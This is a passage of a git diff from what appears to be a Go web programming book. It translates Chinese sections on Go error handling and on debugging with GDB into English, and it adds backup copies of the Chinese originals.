more and more `HandleFunc`'s are needed, the error-handling logic can still become quite bloated. An alternative approach would be to customize our router to handle errors by default: + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +Above we've defined a custom router. We can then register our handler as usual: + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it? + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so: + + type appError struct { + Error error + Message string + Code int + } + +Our custom router can be changed accordingly: + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +After we've finished modifying our custom error, our logic can be changed as follows: + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases. + +## Summary + +Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling, debugging and testing](11.0.md) +- Next section: [Debugging by using GDB](11.2.md) diff --git a/en/11.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/11.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..d04c359a --- /dev/null +++ b/en/11.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,200 @@ +# 11.1 错误处理 +Go语言主要的设计准则是:简洁、明白,简洁是指语法和C类似,相当的简单,明白是指任何语句都是很明显的,不含有任何隐含的东西,在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误,但是对于使用者来说,不查看相应的API说明文档,根本搞不清楚这个返回值究竟代表什么意思,比如:返回0是成功,还是失败,而Go定义了一个叫做error的类型,来显式表达错误。在使用时,通过把返回的error变量与nil的比较,来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量 + + func Open(name string) (file *File, err error) + +下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息: + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +类似于`os.Open`函数,标准包中所有可能出错的API都会返回一个error变量,以方便错误处理,这个小节将详细地介绍error类型的设计,和讨论开发Web应用中如何更好地处理error。 +## Error类型 +error类型是一个接口类型,这是它的定义: + + type error interface { + Error() string + } + +error是一个内置的接口类型,我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +你可以通过`errors.New`把一个字符串转化为errorString,以得到一个满足接口error的对象,其内部实现如下: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +下面这个例子演示了如何使用`errors.New`: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +在下面的例子中,我们在调用Sqrt的时候传递的一个负数,然后就得到了non-nil的error对象,将此对象与nil比较,结果为true,所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码: + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## 自定义Error +通过上面的介绍我们知道error是一个interface,所以在实现自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义,请看来自Json包的示例: + + type SyntaxError struct { + msg string // 错误描述 + Offset int64 // 错误发生的位置 + } + + func (e *SyntaxError) Error() string { return e.msg } + +Offset字段在调用Error的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息,请看下面的例子: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +需要注意的是,函数返回自定义错误时,返回值推荐设置为error类型,而非自定义错误类型,特别需要注意的是不应预声明自定义错误类型的变量。例如: + + func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 + var err *SyntaxError // 预声明错误变量 + if 出错条件 { + err = &SyntaxError{} + } + return err // 错误,err永远等于非nil,导致上层调用者err!=nil的判断始终为true + } + +原因见 http://golang.org/doc/faq#nil_error + +上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢?此时,我们来参考一下net包采用的方法: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + +在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,例如下面的例子,如果一个网络发生临时性错误,那么将会sleep 1秒之后重试: + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## 错误处理 +Go在错误处理上采用了与C类似的检查返回值的方式,而不是其他多数主流语言采用的异常方式,这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。 + +请看下面这个例子代码: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`,返回给客户端500错误码,并显示相应的错误数据。但是当越来越多的HandleFunc加入之后,这样的错误处理逻辑代码就会越来越多,其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。 + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数: + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。 + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +上面的例子错误处理的时候所有的错误返回给用户的都是500错误码,然后打印出来相应的错误代码,其实我们可以把这个错误信息定义的更加友好,调试的时候也方便定位问题,我们可以自定义返回的错误类型: + + type appError struct { + Error error + Message string + Code int + } + +这样我们的自定义路由器可以改成如下方式: + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式: + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +如上所示,在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。 + +## 总结 +在程序设计中,容错是相当重要的一部分工作,在Go中它是通过错误处理来实现的,error虽然只是一个接口,但是其变化却可以有很多,我们可以根据自己的需求来实现不同的处理,最后介绍的错误处理方案,希望能给大家在如何设计更好Web错误处理方案上带来一点思路。 + +## links + * [目录]() + * 上一节: [错误处理,调试和测试](<11.0.md>) + * 下一节: [使用GDB调试](<11.2.md>) diff --git a/en/11.2.md b/en/11.2.md index 2e91a4a3..c11b0cf4 100644 --- a/en/11.2.md +++ b/en/11.2.md @@ -1,249 +1,264 @@ -# 11.2 使用GDB调试 -开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。 - -## GDB调试简介 -GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情: - -1. 启动程序,可以按照开发者的自定义要求运行程序。 -2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式) -3. 当程序被停住时,可以检查此时程序中所发生的事。 -4. 动态的改变当前程序的执行环境。 - -目前支持调试Go程序的GDB版本必须大于7.1。 - -编译Go程序的时候需要注意以下几点 - -1. 传递参数-ldflags "-s",忽略debug的打印信息 -2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。 - -## 常用命令 -GDB的一些常用命令如下所示 - -- list - - 简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。 - - 10 time.Sleep(2 * time.Second) - 11 c <- i - 12 } - 13 close(c) - 14 } - 15 - 16 func main() { - 17 msg := "Starting main" - 18 fmt.Println(msg) - 19 bus := make(chan int) - - -- break - - 简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。 - -- delete - 简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。 - - Num Type Disp Enb Address What - 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 - breakpoint already hit 1 time - -- backtrace - - 简写命令 `bt`,用来打印执行的代码过程,如下所示: - - #0 main.main () at /home/xiemengjun/gdb.go:23 - #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 - #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 - #3 0x0000000000000000 in ?? () -- info - - info命令用来显示信息,后面有几种参数,我们常用的有如下几种: - - - `info locals` - - 显示当前执行的程序中的变量值 - - `info breakpoints` - - 显示当前设置的断点列表 - - `info goroutines` - - 显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的 - - * 1 running runtime.gosched - * 2 syscall runtime.entersyscall - 3 waiting runtime.gosched - 4 runnable runtime.gosched -- print - - 简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。 - -- whatis - - 用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下: - - type = struct string -- next - - 简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行 -- coutinue - - 简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点 - -- set variable - - 该命令用来改变运行过程中的变量值,格式如:`set variable =` - -## 调试过程 -我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码: - - package main - - import ( - "fmt" - "time" - ) - - func counting(c chan<- int) { - for i := 0; i < 10; i++ { - time.Sleep(2 * time.Second) - c <- i - } - close(c) - } - - func main() { - msg := "Starting main" - fmt.Println(msg) - bus := make(chan int) - msg = "starting a gofunc" - go counting(bus) - for count := range bus { - fmt.Println("count:", count) - } - } - -编译文件,生成可执行文件gdbfile: - - go build -gcflags "-N -l" gdbfile.go - -通过gdb命令启动调试: - - gdb gdbfile - -启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的: - - (gdb) run - Starting program: /home/xiemengjun/gdbfile - Starting main - count: 0 - count: 1 - count: 2 - count: 3 - count: 4 - count: 5 - count: 6 - count: 7 - count: 8 - count: 9 - [LWP 2771 exited] - [Inferior 1 (process 2771) exited normally] -好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点: - - (gdb) b 23 - Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. - (gdb) run - Starting program: /home/xiemengjun/gdbfile - Starting main - [New LWP 3284] - [Switching to LWP 3284] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - -上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始: - - (gdb) list - 18 fmt.Println(msg) - 19 bus := make(chan int) - 20 msg = "starting a gofunc" - 21 go counting(bus) - 22 for count := range bus { - 23 fmt.Println("count:", count) - 24 } - 25 } - -现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值: - - (gdb) info locals - count = 0 - bus = 0xf840001a50 - (gdb) p count - $1 = 0 - (gdb) p bus - $2 = (chan int) 0xf840001a50 - (gdb) whatis bus - type = chan int - -接下来该让程序继续往下执行,请继续看下面的命令 - - (gdb) c - Continuing. - count: 0 - [New LWP 3303] - [Switching to LWP 3303] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - (gdb) c - Continuing. - count: 1 - [Switching to LWP 3302] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - -每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。 - -设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果: - - (gdb) info locals - count = 2 - bus = 0xf840001a50 - (gdb) set variable count=9 - (gdb) info locals - count = 9 - bus = 0xf840001a50 - (gdb) c - Continuing. - count: 9 - [Switching to LWP 3302] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - -最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么: - - (gdb) info goroutines - * 1 running runtime.gosched - * 2 syscall runtime.entersyscall - 3 waiting runtime.gosched - 4 runnable runtime.gosched - (gdb) goroutine 1 bt - #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 - #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) - at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 - #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) - at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 - #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 - #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 - #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 - #6 0x0000000000000000 in ?? () - -通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。 - -## 小结 -本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。 - -## links - * [目录]() - * 上一节: [错误处理](<11.1.md>) - * 下一节: [Go怎么写测试用例](<11.3.md>) +# 11.2 Debugging with GDB + +During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB. + +## GDB debugging profile + +GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things: + +1. Initial settings can be customize according to the specific requirements of your application. +2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions). +3. When the program has been stopped, you can check its current state to see what happened. +4. Dynamically change the current program's execution environment. + +To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1. + +When compiling Go programs, the following points require particular attention: + +1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed +2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags. + +Some of GDB's most commonly used commands are as follows: + +- list + +Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below. + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + +- break + +Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row. + +- delete + +Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number. + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + +Abbreviated as `bt`, this command is used to print the execution of the code, for instance: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () + +- info + +The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used: + +- `info locals` + +Displays the currently executing program's variable values + +- `info breakpoints` + +Displays a list of currently set breakpoints + +- `info goroutines` + +Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + +- print + +Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps. + +- whatis + +`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following: + +type = struct string + +- next + +Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue + +- continue + +Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point + +- set variable + +This command is used to change the value of a variable in the process. It can be used like so: `set variable = ` + +## The debugging process + +Now, let's take a look at the following code to see how GDB is typically used to debug Go programs: + + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } + } + + +Now we compile the file, creating an executable file called "gdbfile": + + go build -gcflags "-N -l" gdbfile.go + +Use the GDB command to start debugging : + + gdb gdbfile + +After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] + +Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +To let the program continue its execution until the next breakpoint, enter the `c` command: + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information. + +Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +Finally, while running, the program creates a number of number goroutines. We can see what each goroutine is doing using `info goroutines`: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed. + +## Summary + +In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its [official website](http://www.gnu.org/software/gdb/). + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling](11.1.md) +- Next section: [Write test cases](11.3.md) diff --git a/en/11.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/11.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..8c697897 --- /dev/null +++ b/en/11.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,249 @@ +# 11.2 使用GDB调试 +开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。 + +## GDB调试简介 +GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情: + +1. 启动程序,可以按照开发者的自定义要求运行程序。 +2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式) +3. 当程序被停住时,可以检查此时程序中所发生的事。 +4. 动态的改变当前程序的执行环境。 + +目前支持调试Go程序的GDB版本必须大于7.1。 + +编译Go程序的时候需要注意以下几点 + +1. 传递参数-ldflags "-s",忽略debug的打印信息 +2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。 + +## 常用命令 +GDB的一些常用命令如下所示 + +- list + + 简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。 + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + + +- break + + 简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。 + +- delete + 简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。 + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + + 简写命令 `bt`,用来打印执行的代码过程,如下所示: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () +- info + + info命令用来显示信息,后面有几种参数,我们常用的有如下几种: + + - `info locals` + + 显示当前执行的程序中的变量值 + - `info breakpoints` + + 显示当前设置的断点列表 + - `info goroutines` + + 显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的 + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched +- print + + 简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。 + +- whatis + + 用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下: + + type = struct string +- next + + 简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行 +- coutinue + + 简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点 + +- set variable + + 该命令用来改变运行过程中的变量值,格式如:`set variable =` + +## 调试过程 +我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码: + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } + } + +编译文件,生成可执行文件gdbfile: + + go build -gcflags "-N -l" gdbfile.go + +通过gdb命令启动调试: + + gdb gdbfile + +启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] 